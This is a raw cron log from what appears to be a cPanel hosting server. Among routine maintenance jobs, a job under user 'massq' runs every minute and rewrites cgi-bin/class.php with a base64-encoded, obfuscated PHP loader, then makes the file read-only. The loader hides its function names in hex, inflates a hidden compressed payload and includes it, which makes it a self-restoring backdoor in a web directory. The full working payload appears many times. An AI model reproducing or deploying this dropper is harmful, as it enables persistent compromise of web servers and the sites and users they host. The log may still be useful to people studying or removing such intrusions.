Sep  8 17:15:01 server CROND[4601]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 17:15:01 server CROND[4598]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 17:15:01 server CROND[4600]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 17:16:01 server CROND[5452]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 17:16:01 server CROND[5453]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 17:16:01 server CROND[5455]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 17:17:01 server CROND[5937]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 17:17:01 server CROND[5938]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 17:17:01 server CROND[5939]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 17:18:02 server CROND[6322]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 17:18:02 server CROND[6323]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 17:18:02 server CROND[6324]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 17:19:01 server CROND[6743]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 17:19:01 server CROND[6744]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 17:19:01 server CROND[6745]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 17:20:01 server CROND[7142]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 17:20:01 server CROND[7145]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 17:20:01 server CROND[7149]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 17:20:01 server CROND[7151]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 17:20:01 server CROND[7150]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 17:20:01 server CROND[7148]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 17:20:01 server CROND[7147]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 17:20:01 server CROND[7158]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 17:20:01 server CROND[7154]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 17:21:01 server CROND[7996]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 17:21:01 server CROND[7997]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 17:21:01 server CROND[7998]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 17:22:01 server CROND[8389]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 17:22:01 server CROND[8390]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 17:22:01 server CROND[8391]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 17:23:01 server CROND[9158]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 17:23:01 server CROND[9159]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 17:23:01 server CROND[9160]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 17:24:01 server CROND[9545]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 17:24:01 server CROND[9546]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 17:24:01 server CROND[9547]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 17:25:01 server CROND[9938]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 17:25:01 server CROND[9940]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 17:25:01 server CROND[9941]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 17:25:01 server CROND[9942]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 17:25:01 server CROND[9946]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 17:25:01 server CROND[9949]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 17:25:01 server CROND[9947]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 17:26:01 server CROND[10857]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 17:26:01 server CROND[10858]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 17:26:01 server CROND[10859]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 17:27:01 server CROND[11241]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 17:27:01 server CROND[11242]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 17:27:01 server CROND[11243]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 17:27:01 server CROND[11244]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 17:28:01 server CROND[11733]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
